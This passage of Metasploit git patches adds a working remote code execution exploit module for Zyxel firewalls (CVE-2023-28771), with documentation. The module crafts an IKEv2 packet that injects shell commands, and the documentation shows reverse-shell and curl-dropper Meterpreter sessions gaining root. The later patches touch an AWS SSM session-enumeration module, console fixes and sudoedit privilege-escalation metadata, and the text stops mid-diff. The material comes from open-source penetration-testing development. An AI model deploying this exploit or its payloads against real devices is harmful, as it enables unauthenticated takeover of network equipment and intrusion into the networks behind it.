+vendor patch. A Zyxel USG FLEX 100 device was used during development and testing of this Metasploit module. + +The attacker must be able to send UDP data to port 500 on the WAN interface of the affected network device. + +## Verification Steps +1. Start msfconsole +2. `use exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771` +3. `set RHOST ` +4. `set LHOST eth0` +5. `check` +6. `exploit` +7. The default target `0` is a `cmd/unix/reverse_bash` payload. A root command shell session should be created. + +## Scenarios + +### Linux Command (Zyxel USG FLEX 100) +``` +msf6 > use exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771 +[*] Using configured payload cmd/unix/reverse_bash +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set RHOST 192.168.86.40 +RHOST => 192.168.86.40 +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set LHOST eth0 +LHOST => eth0 +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > show options + +Module options (exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS 192.168.86.40 yes The target host(s), see https://docs.me + tasploit.com/docs/using-metasploit/basi + cs/using-metasploit.html + RPORT 500 yes The target port (UDP) + SSL false no Negotiate SSL for incoming connections + SSLCert no Path to a custom SSL certificate (defau + lt is randomly generated) + URIPATH no The URI to use for this exploit (defaul + t is random) + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 0.0.0.0 yes The local host or network interface to + listen on. This must be an address on t + he local machine or 0.0.0.0 to listen o + n all addresses. + SRVPORT 8080 yes The local port to listen on. + + +Payload options (cmd/unix/reverse_bash): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST eth0 yes The listen address (an interface may be s + pecified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux Command + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > check +[*] 192.168.86.40:500 - The service is running, but could not be validated. IKE detected but device vendor and service version are unknown. +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Command shell session 1 opened (192.168.86.42:4444 -> 192.168.86.40:42973) at 2023-05-22 17:34:41 +0100 + +id +uid=0(root) gid=0(root) groups=0(root) +uname -a +Linux usgflex100 3.10.87-rt80-Cavium-Octeon #2 SMP Tue Jan 4 18:13:49 CST 2022 mips64 Cavium Octeon III V0.2 FPU V0.0 ROUTER7000_REF (CN7020p1.2-1200-AAP) GNU/Linux +exit +[*] 192.168.86.40 - Command shell session 1 closed. +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > +``` + +### Linux Dropper (Zyxel USG FLEX 100) +``` +msf6 > use exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771 +[*] Using configured payload cmd/unix/reverse_bash +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set TARGET 1 +TARGET => 1 +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set PAYLOAD linux/mips64/meterpreter_reverse_tcp +PAYLOAD => linux/mips64/meterpreter_reverse_tcp +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set RHOST 192.168.86.40 +RHOST => 192.168.86.40 +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set LHOST eth0 +LHOST => eth0 +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > set SRVHOST eth0 +SRVHOST => 192.168.86.42 +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > show options + +Module options (exploit/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOSTS 192.168.86.40 yes The target host(s), see https://docs.me + tasploit.com/docs/using-metasploit/basi + cs/using-metasploit.html + RPORT 500 yes The target port (UDP) + SSL false no Negotiate SSL for incoming connections + SSLCert no Path to a custom SSL certificate (defau + lt is randomly generated) + URIPATH no The URI to use for this exploit (defaul + t is random) + + + When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http: + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SRVHOST 192.168.86.42 yes The local host or network interface to + listen on. This must be an address on t + he local machine or 0.0.0.0 to listen o + n all addresses. + SRVPORT 8080 yes The local port to listen on. + + +Payload options (linux/mips64/meterpreter_reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST eth0 yes The listen address (an interface may be s + pecified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 1 Linux Dropper + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > check +[*] 192.168.86.40:500 - The service is running, but could not be validated. IKE detected but device vendor and service version are unknown. +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > exploit + +[*] Started reverse TCP handler on 192.168.86.42:4444 +[*] Using URL: http://192.168.86.42:8080/FbXB7q +[*] Client 192.168.86.40 (curl/7.70.0) requested /FbXB7q +[*] Sending payload to 192.168.86.40 (curl/7.70.0) +[*] Meterpreter session 1 opened (192.168.86.42:4444 -> 192.168.86.40:42976) at 2023-05-22 17:36:49 +0100 +[*] Command Stager progress - 100.00% done (112/112 bytes) +[*] Server stopped. + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 192.168.86.40 +OS : (Linux 3.10.87-rt80-Cavium-Octeon) +Architecture : mips64 +BuildTuple : mips64-linux-muslsf +Meterpreter : mips64/linux +meterpreter > exit +[*] Shutting down Meterpreter... + +[*] 192.168.86.40 - Meterpreter session 1 closed. Reason: User exit +msf6 exploit(linux/misc/zyxel_ike_decoder_rce_cve_2023_28771) > +``` diff --git a/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb b/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb new file mode 100644 index 0000000000000..48a46ac587c4a --- /dev/null +++ b/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb @@ -0,0 +1,168 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::CmdStager + include Msf::Exploit::Remote::Udp + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Zyxel IKE Packet Decoder Unauthenticated Remote Code Execution', + 'Description' => %q{ + This module exploits a remote unauthenticated command injection vulnerability in the Internet Key Exchange + (IKE) packet decoder over UDP port 500 on the WAN interface of several Zyxel devices. The affected devices are + as follows: ATP (Firmware version 4.60 to 5.35 inclusive), USG FLEX (Firmware version 4.60 to 5.35 inclusive), + VPN (Firmware version 4.60 to 5.35 inclusive), and ZyWALL/USG (Firmware version 4.60 to 4.73 inclusive). The + affected devices are vulnerable in a default configuration and command execution is with root privileges. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sf', # MSF Exploit & Rapid7 Analysis + ], + 'References' => [ + ['CVE', '2023-28771'], + ['URL', 'https://attackerkb.com/topics/N3i8dxpFKS/cve-2023-28771/rapid7-analysis'], + ['URL', 'https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls'] + ], + 'DisclosureDate' => '2023-03-31', + 'Platform' => %w[unix linux], + 'Arch' => [ARCH_CMD, ARCH_MIPS64], + 'Privileged' => true, # Code execution as 'root' + 'Targets' => [ + [ + 'Linux Command', + { + 'Type' => :cmd, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_bash' + } + }, + ], + [ + 'Linux Dropper', + { + 'Type' => :dropper, + 'Platform' => 'linux', + 'Arch' => [ARCH_MIPS64], + 'CmdStagerFlavor' => %w[curl wget], + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mips64/meterpreter_reverse_tcp' + } + } + ], + ], + 'DefaultTarget' => 0, + 'Notes' => { + # The process /sbin/sshipsecpm may crash after we terminate a session, but it will restart. + 'Stability' => [CRASH_SERVICE_RESTARTS], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + Opt::RPORT(500) + ] + ) + end + + def check + connect_udp + + # Check for the Internet Key Exchange (IKE) service by sending an IKEv1 header with no payload. We can + # expect to receive an IKE reply containing a Notification payload with a PAYLOAD-MALFORMED message. + + # In a default configuration, there appears no known method to identify the platform vendor or version + # number, so we cannot identify a CheckCode other than CheckCode::Detected or CheckCode::Unknown. + # If a VPN is configured on the target device, we may receive a Vendor ID corresponding to Zyxel, but we + # still would not be able to identify the version number of the target service. + + ikev2_header = Rex::Text.rand_text_alpha_upper(8) # Initiator SPI + ikev2_header << [0, 0, 0, 0, 0, 0, 0, 0].pack('C*') # Responder SPI + ikev2_header << [0].pack('C') # Next Payload: None - 0 + ikev2_header << [16].pack('C') # Version: 1.0 - 16 (0x10) + ikev2_header << [2].pack('C') # Exchange Type: Identity Protection - 2 + ikev2_header << [0].pack('C') # Flags: None - 0 + ikev2_header << [0].pack('N') # ID: 0 + ikev2_header << [ikev2_header.length + 4].pack('N') # Length + + udp_sock.put(ikev2_header) + + ikev2_reply = udp_sock.get(udp_sock.def_read_timeout) + + disconnect_udp + + if !ikev2_reply.empty? && (ikev2_reply.length >= 40) && + # Ensure the response 'Initiator SPI' field is the same as the original one sent. + (ikev2_reply[0, 8] == ikev2_header[0, 8]) && + # Ensure the 'Next Payload' field is Notification (11) + (ikev2_reply[16, 1].unpack('C').first == 11 && + # Ensure the 'Exchange Type' field is Informational (5) + (ikev2_reply[18, 1].unpack('C').first == 5)) && + # Ensure the 'Notify Message Type' field is PAYLOAD-MALFORMED (16) + (ikev2_reply[38, 2].unpack('n').first == 16) + return CheckCode::Detected('IKE detected but device vendor and service version are unknown.') + end + + CheckCode::Unknown + end + + def exploit + connect_udp + + case target['Type'] + when :cmd + execute_command(payload.encoded) + when :dropper + execute_cmdstager + end + + disconnect_udp + + handler + end + + def execute_command(cmd, _opts = {}) + cmd_injection = "\";#{cmd};echo -n \"" + + # This value is decoded by the packet decoder using a DES-CBC algorithm. The decoded value is written to the + # log file. As such the decoded value must not have any null terminator values as these will break our command + # payload. Therefore we use the below known good value that will decode to a suitable string, allowing the cmd + # injection payload to work as expected. + haxb48 = 'HAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXBHAXB' + + ikev2_payload = [0].pack('C') # Next Payload: None - 0 + ikev2_payload << [0].pack('C') # Reserved: 0 + ikev2_payload << [8 + (haxb48.length + cmd_injection.length)].pack('n') # Length: 8 byte header + Notification Data + ikev2_payload << [1].pack('C') # Protocol ID: ISAKMP - 1 + ikev2_payload << [0].pack('C') # SPI Size: None - 0 + ikev2_payload << [14].pack('n') # Type: NO_PROPOSAL_CHOSEN - 14 (0x0E) + ikev2_payload << haxb48 + cmd_injection # Notification Data + + ikev2_header = Rex::Text.rand_text_alpha_upper(8) # Initiator SPI + ikev2_header << [0, 0, 0, 0, 0, 0, 0, 0].pack('C*') # Responder SPI + ikev2_header << [41].pack('C') # Next Payload: Notify - 41 (0x29) + ikev2_header << [32].pack('C') # Version: 2.0 - 32 (0x20) + ikev2_header << [34].pack('C') # Exchange Type: IKE_SA_INIT - 34 (0x22) + ikev2_header << [8].pack('C') # Flags: Initiator - 8 + ikev2_header << [0].pack('N') # ID: 0 + ikev2_header << [ikev2_header.length + 4 + ikev2_payload.length].pack('N') # Length + + packet = ikev2_header << ikev2_payload + + udp_sock.put(packet) + + select(nil, nil, nil, udp_sock.def_read_timeout) + end + +end From 0205bb36d3e80eb948aa55ada355282f74336cf9 Mon Sep 17 00:00:00 2001 From: sfewer-r7 Date: Mon, 22 May 2023 20:09:11 +0100 Subject: [PATCH 175/415] change ranking to GreatRanking as stability is CRASH_SERVICE_RESTARTS --- .../exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb b/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb index 48a46ac587c4a..958e241cfb2a6 100644 --- a/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb +++ b/modules/exploits/linux/misc/zyxel_ike_decoder_rce_cve_2023_28771.rb @@ -4,7 +4,7 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking + Rank = GreatRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::Udp From 120dc877ad499d603e14062c66c0f7edaad21296 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre <58950994+smcintyre-r7@users.noreply.github.com> Date: Mon, 22 May 2023 17:11:16 -0400 Subject: [PATCH 176/415] Pr/collab/17430 (#41) * Prevent using post modules with the session It doesn't work reliably because of winpty and how the output is mangled. * Set the limit correctly * Fix Linux PTY downgrade issues * Remove filtering The filtering implementation is incomplete and unnecessary. Filtering is unnecessary because Linux sessions execute a stub on session start up that uses a combiantion of stty and a fifo to emulate a PTY-less session. Windows sessions do not need filtering because they have been explictly marked as being incompatible with the Post API which is confused by the extra characters. The filtering implementation is incomplete because it does not account for echo fragments that are split across lines. It also does not account for all of the ANSI escape codes. * Add module docs for enum_ssm --- .../modules/auxiliary/cloud/aws/enum_ssm.md | 52 +++++++++++++++++++ .../sessions/aws_ssm_command_shell_bind.rb | 8 ++- lib/msf/base/sessions/command_shell.rb | 10 +++- lib/msf/core/handler/bind_aws_ssm.rb | 2 +- lib/msf/core/post_mixin.rb | 6 +++ lib/rex/proto/http/web_socket.rb | 1 - lib/rex/proto/http/web_socket/amazon_ssm.rb | 29 ++--------- modules/auxiliary/cloud/aws/enum_ssm.rb | 5 +- 8 files changed, 81 insertions(+), 32 deletions(-) create mode 100644 documentation/modules/auxiliary/cloud/aws/enum_ssm.md diff --git a/documentation/modules/auxiliary/cloud/aws/enum_ssm.md b/documentation/modules/auxiliary/cloud/aws/enum_ssm.md new file mode 100644 index 0000000000000..2d0dae333b68a --- /dev/null +++ b/documentation/modules/auxiliary/cloud/aws/enum_ssm.md @@ -0,0 +1,52 @@ +## Vulnerable Application + +Provided AWS credentials, this module will call the authenticated API of Amazon Web Services to list all SSM-enabled EC2 +instances accessible to the account. Once enumerated as SSM-enabled, the instances can be controlled using out-of-band +WebSocket sessions provided by the AWS API (nominally, privileged out of the box). This module provides not only the API +enumeration identifying EC2 instances accessible via SSM with given credentials, but enables session initiation for all +identified targets (without requiring target-level credentials) using the CreateSession mixin option. The module also +provides an EC2 ID filter and a limiting throttle to prevent session stampedes or expensive messes. + +## Verification Steps + +1. Obtain AWS access keys +2. Start msfconsole +3. Set the `ACCESS_KEY_ID`, `SECRET_ACCESS_KEY`, `REGION` +4. Run the module, see EC2 instances + +## Options + +## LIMIT +Only return the specified number of results from each region. + +## FILTER_EC2_ID +Look for specific EC2 instance ID. + +## REGION +AWS Region (e.g. "us-west-2"). + +## Advanced Options + +### CreateSession + +Create a new session for every successful login. + +## Scenarios + +Enumerating EC2 instances in the US-East-2 region and opening a session on each one (`CreateSession` is True). + +``` +msf6 auxiliary(cloud/aws/enum_ssm) > set ACCESS_KEY_ID AKIAO5WK2W9TMZT7EAM5 +ACCESS_KEY_ID => AKIAO5WK2W9TMZT7EAM5 +msf6 auxiliary(cloud/aws/enum_ssm) > set SECRET_ACCESS_KEY pDNhoEPuubvWSsp18axjPFBM4sNme6vnNUFb6qWo +SECRET_ACCESS_KEY => pDNhoEPuubvWSsp18axjPFBM4sNme6vnNUFb6qWo +msf6 auxiliary(cloud/aws/enum_ssm) > run + +[*] Checking us-east-2... +[+] Found AWS SSM host i-02cd668d50587bdcf (ip-172-31-42-215.us-east-2.compute.internal) - 172.31.42.215 +[*] AWS SSM command shell session 3 opened (192.168.250.134:39005 -> 172.31.42.215:0) at 2023-05-22 16:43:03 -0400 +[+] Found AWS SSM host i-074187bde1453613a (EC2AMAZ-HM7U6TS.WORKGROUP) - 172.31.44.170 +[*] AWS SSM command shell session 4 opened (192.168.250.134:37231 -> 172.31.44.170:0) at 2023-05-22 16:43:05 -0400 +[*] Auxiliary module execution completed +msf6 auxiliary(cloud/aws/enum_ssm) > +``` diff --git a/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb index 10b440c74e43f..b9768d9491496 100644 --- a/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb +++ b/lib/msf/base/sessions/aws_ssm_command_shell_bind.rb @@ -23,6 +23,10 @@ class AwsSsmCommandShellBind < Msf::Sessions::CommandShell # include Msf::Session::Provider::SingleCommandShell + def abort_foreground_supported + false + end + def shell_command_token_unix(cmd, timeout=10) res = super @@ -43,7 +47,7 @@ def initialize(conn, opts=nil) @session_type = 'shell' when 'Windows' @platform = 'windows' - @session_type = 'powershell' + @session_type = 'powershell:winpty' extend(Msf::Sessions::PowerShell::Mixin) end @@ -59,7 +63,7 @@ def bootstrap(*args) if @platform == 'linux' # The session from SSM-SessionManagerRunShell starts with a TTY which breaks the post API so change the settings # and make it behave in a way consistent with other shell sessions - shell_command('stty -echo cbreak;pipe=$(mktemp -u);mkfifo -m 600 $pipe;cat $pipe & sh 1>$pipe 2>$pipe') + shell_command('stty -echo cbreak;pipe=$(mktemp -u);mkfifo -m 600 $pipe;cat $pipe & sh 1>$pipe 2>$pipe; rm $pipe; exit') end super diff --git a/lib/msf/base/sessions/command_shell.rb b/lib/msf/base/sessions/command_shell.rb index 0c65237d6a13c..e05a36697e28c 100644 --- a/lib/msf/base/sessions/command_shell.rb +++ b/lib/msf/base/sessions/command_shell.rb @@ -406,7 +406,7 @@ def cmd_download_help print_line("Usage: download [src] [dst]") print_line print_line("Downloads remote files to the local machine.") - print_line("This command does not support to download a FOLDER yet") + print_line("Only files are supported.") print_line end @@ -432,6 +432,9 @@ def cmd_download(*args) # Write file to local machine File.binwrite(dst, content) print_good("Done") + + rescue NotImplementedError => e + print_error(e.message) end def cmd_upload_help @@ -469,6 +472,9 @@ def cmd_upload(*args) elog(e) return end + + rescue NotImplementedError => e + print_error(e.message) end def cmd_source_help @@ -793,6 +799,8 @@ def vprint_status(s) end def _file_transfer + raise NotImplementedError.new('Session does not support file transfers.') if @session_type.ends_with?(':winpty') + FileTransfer.new(self) end end diff --git a/lib/msf/core/handler/bind_aws_ssm.rb b/lib/msf/core/handler/bind_aws_ssm.rb index 8f4be66ea1232..643fe49727bd1 100644 --- a/lib/msf/core/handler/bind_aws_ssm.rb +++ b/lib/msf/core/handler/bind_aws_ssm.rb @@ -120,7 +120,7 @@ def close end # # Returns the handler specific string representation, in this case - # 'bind_tcp'. + # 'bind_aws_ssm'. # def self.handler_type return 'bind_aws_ssm' diff --git a/lib/msf/core/post_mixin.rb b/lib/msf/core/post_mixin.rb index 155f9b36bcdab..e12e684df8378 100644 --- a/lib/msf/core/post_mixin.rb +++ b/lib/msf/core/post_mixin.rb @@ -49,6 +49,12 @@ def setup # for its platform, capabilities, etc. check_for_session_readiness if session.type == "meterpreter" + if session.type.ends_with?(':winpty') + raise Msf::OptionValidateError.new({ + 'SESSION' => 'Session does not support post modules.' + }) + end + incompatibility_reasons = session_incompatibility_reasons(session) if incompatibility_reasons.any? print_warning("SESSION may not be compatible with this module:") diff --git a/lib/rex/proto/http/web_socket.rb b/lib/rex/proto/http/web_socket.rb index 182e49739dc30..3e8ed1397bbce 100644 --- a/lib/rex/proto/http/web_socket.rb +++ b/lib/rex/proto/http/web_socket.rb @@ -38,7 +38,6 @@ def type? # @!attribute [r] params # @return [Rex::Socket::Parameters] attr_reader :params - # Boolean flag to control frame masking on output # @param [WebSocket::Interface] websocket the WebSocket that this channel is being opened on # @param [nil, Symbol] read_type the data type(s) to read from the WebSocket, one of :binary, :text or nil (for both diff --git a/lib/rex/proto/http/web_socket/amazon_ssm.rb b/lib/rex/proto/http/web_socket/amazon_ssm.rb index 3884df05b7096..1708f9ef0f4a6 100644 --- a/lib/rex/proto/http/web_socket/amazon_ssm.rb +++ b/lib/rex/proto/http/web_socket/amazon_ssm.rb @@ -100,14 +100,6 @@ def start_publication @websocket.put_wsbinary(msg.to_binary_s) end - def strip_shell_clr(tty_out) - tty_out.gsub(/\x1B\[(;?[0-9]{1,3})+[mGK]/,'') - end - - def strip_shell_fmt(tty_out) - strip_shell_clr(tty_out).gsub(/^\e.+;.*\a/,'') - end - def handle_output_data(output_frame) return nil if @ack_message == output_frame.uuid @@ -118,16 +110,7 @@ def handle_output_data(output_frame) return nil end - payload_data = output_frame.payload_data.value - - - if @filter_echo.is_a?(String) and payload_data.strip == @filter_echo.strip - dlog("SsmChannel: filtering output #{@filter_echo}") - @filter_echo = true - return nil - end - - @filter_text ? strip_shell_fmt(payload_data) : payload_data + output_frame.payload_data.value end def handle_acknowledge(ack_frame) @@ -163,15 +146,12 @@ def set_term_size(cols, rows) class SsmChannel < Rex::Proto::Http::WebSocket::Interface::Channel include SsmChannelMethods attr_reader :run_ssm_pub, :out_seq_num, :ack_seq_num, :ack_message - attr_accessor :filter_echo - def initialize(websocket, filter_echo = false, filter_text = true) + def initialize(websocket) @ack_seq_num = 0 @out_seq_num = 0 @run_ssm_pub = true @ack_message = nil - @filter_echo = filter_echo - @filter_text = filter_text @publication = false super(websocket, write_type: :binary) @@ -215,7 +195,6 @@ def on_data_read(data, _data_type) def on_data_write(data) start_publication if not @publication - @filter_echo = data if @filter_echo and data.is_a?(String) frame = SsmFrame.create(data) frame.header.sequence_number = @out_seq_num @out_seq_num += 1 @@ -227,8 +206,8 @@ def publishing? end end - def to_ssm_channel(filter_echo: true, publish_timeout: 10) - chan = SsmChannel.new(self, filter_echo) + def to_ssm_channel(publish_timeout: 10) + chan = SsmChannel.new(self) if publish_timeout # Waiting for the channel to start publishing diff --git a/modules/auxiliary/cloud/aws/enum_ssm.rb b/modules/auxiliary/cloud/aws/enum_ssm.rb index b0ae94e10ec78..8a899c54c8dda 100644 --- a/modules/auxiliary/cloud/aws/enum_ssm.rb +++ b/modules/auxiliary/cloud/aws/enum_ssm.rb @@ -45,7 +45,7 @@ def initialize(info = {}) [ OptInt.new('LIMIT', [false, 'Only return the specified number of results from each region']), OptString.new('FILTER_EC2_ID', [false, 'Look for specific EC2 instance ID']), - OptString.new('REGION', [true, 'AWS Region (eg. "us-west-2")']), + OptString.new('REGION', [true, 'AWS Region (e.g. "us-west-2")']), OptString.new('ACCESS_KEY_ID', [true, 'AWS Access Key ID (eg. "AKIAXXXXXXXXXXXXXXXX")', '']), OptString.new('SECRET_ACCESS_KEY', [true, 'AWS Secret Access Key (eg. "CA1+XXXXXXXXXXXXXXXXXXXXXX6aYDHHCBuLuV79")', '']) ] @@ -90,8 +90,9 @@ def run } end + inv_params[:max_results] = datastore['LIMIT'] if datastore['LIMIT'] + ssm_ec2 = client.get_inventory(inv_params).entities.map { |e| e.data['AWS:InstanceInformation'].content }.flatten - ssm_ec2 = ssm_ec2[0...datastore['LIMIT']] if datastore['LIMIT'] ssm_ec2.each do |ssm_host| report_host( host: ssm_host['IpAddress'], From 3e327efdc4a51fe29821615c9dfc5c29b13fda40 Mon Sep 17 00:00:00 2001 From: cgranleese-r7 Date: Mon, 22 May 2023 12:19:35 +0100 Subject: [PATCH 177/415] Fixes validation for to_hanler command for Evasion and Payload modules --- lib/msf/base/simple/exploit.rb | 4 ++-- .../ui/console/command_dispatcher/evasion.rb | 18 +++++++++++++++--- .../ui/console/command_dispatcher/payload.rb | 18 +++++++++++++++--- 3 files changed, 32 insertions(+), 8 deletions(-) diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 2e84c0c5b484a..9325a0b96c3f2 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -153,7 +153,8 @@ def self.exploit_simple(oexploit, opts, &block) raise $! rescue ::Msf::OptionValidateError => e exploit.error = e - ::Msf::Ui::Formatter::OptionValidateError.print_error(oexploit, e) + ::Msf::Ui::Formatter::OptionValidateError.print_error(exploit, e) + return false rescue ::Exception => e exploit.error = e exploit.print_error("Exploit failed: #{e}") @@ -248,4 +249,3 @@ def self.job_check_proc(ctx) end end - diff --git a/lib/msf/ui/console/command_dispatcher/evasion.rb b/lib/msf/ui/console/command_dispatcher/evasion.rb index 47ac4d3a6f316..6f497e5770672 100644 --- a/lib/msf/ui/console/command_dispatcher/evasion.rb +++ b/lib/msf/ui/console/command_dispatcher/evasion.rb @@ -91,10 +91,22 @@ def cmd_to_handler(*_args) } handler.share_datastore(mod.datastore) - handler.exploit_simple(handler_opts) - job_id = handler.job_id - print_status "Payload Handler Started as Job #{job_id}" + replicant_handler = nil + handler.exploit_simple(handler_opts) do |yielded_replicant_handler| + replicant_handler = yielded_replicant_handler + end + + if replicant_handler.nil? + print_error('Failed to run module') + return + end + + if replicant_handler.error.nil? + job_id = handler.job_id + + print_status "Payload Handler Started as Job #{job_id}" + end end end end diff --git a/lib/msf/ui/console/command_dispatcher/payload.rb b/lib/msf/ui/console/command_dispatcher/payload.rb index 2b3c7af446d4c..2d0d514bbdbb7 100644 --- a/lib/msf/ui/console/command_dispatcher/payload.rb +++ b/lib/msf/ui/console/command_dispatcher/payload.rb @@ -59,10 +59,22 @@ def cmd_to_handler(*_args) } handler.share_datastore(mod.datastore) - handler.exploit_simple(handler_opts) - job_id = handler.job_id - print_status "Payload Handler Started as Job #{job_id}" + replicant_handler = nil + handler.exploit_simple(handler_opts) do |yielded_replicant_handler| + replicant_handler = yielded_replicant_handler + end + + if replicant_handler.nil? + print_error('Failed to run module') + return + end + + if replicant_handler.error.nil? + job_id = handler.job_id + + print_status "Payload Handler Started as Job #{job_id}" + end end alias cmd_exploit cmd_to_handler From 5189c7af830182bc5bc8925f182092961b2b4028 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 23 May 2023 08:57:43 -0500 Subject: [PATCH 178/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 63 +++++++++++++++++++++++++++++++++++ 1 file changed, 63 insertions(+) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 50dd3d42425b6..577f9ca6ce6dd 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -77318,6 +77318,69 @@ ], "needs_cleanup": true }, + "exploit_linux/local/sudoedit_bypass_priv_esc": { + "name": "Sudoedit Extra Arguments Priv Esc", + "fullname": "exploit/linux/local/sudoedit_bypass_priv_esc", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-01-18", + "type": "exploit", + "author": [ + "h00die", + "Matthieu Barjole", + "Victor Cutillas" + ], + "description": "This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package.\n The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided\n environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to\n append arbitrary entries to the list of files to process. This can lead to privilege escalation.\n by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root\n privileges.\n\n Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu\n 22.04 and 22.10.\n\n This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and\n 1.9.11p3-1ubuntu1 on Ubuntu 22.10.", + "references": [ + "EDB-51217", + "URL-https://github.com/M4fiaB0y/CVE-2023-22809/blob/main/exploit.sh", + "URL-https://raw.githubusercontent.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc/main/exploit.sh", + "URL-https://www.vicarius.io/vsociety/blog/cve-2023-22809-sudoedit-bypass-analysis", + "URL-https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466", + "URL-https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf", + "URL-https://www.sudo.ws/security/advisories/sudoedit_any/", + "CVE-2023-22809" + ], + "platform": "Linux", + "arch": "x86, x64", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": [ + "Auto" + ], + "mod_time": "2023-05-16 16:18:14 +0000", + "path": "/modules/exploits/linux/local/sudoedit_bypass_priv_esc.rb", + "is_install_path": true, + "ref_name": "linux/local/sudoedit_bypass_priv_esc", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "ioc-in-logs", + "artifacts-on-disk", + "config-changes" + ] + }, + "session_types": [ + "shell", + "meterpreter" + ], + "needs_cleanup": true + }, "exploit_linux/local/systemtap_modprobe_options_priv_esc": { "name": "SystemTap MODPROBE_OPTIONS Privilege Escalation", "fullname": "exploit/linux/local/systemtap_modprobe_options_priv_esc", From afb31b0f2184f3e4f71e8b078eddd1a0eba7badb Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Tue, 23 May 2023 15:17:39 -0400 Subject: [PATCH 179/415] Add a function to escaple cmd.exe string literals --- lib/msf/core/exploit/remote/smb/client/psexec.rb | 2 +- lib/msf/core/post/windows.rb | 14 ++++++++++++++ 2 files changed, 15 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/smb/client/psexec.rb 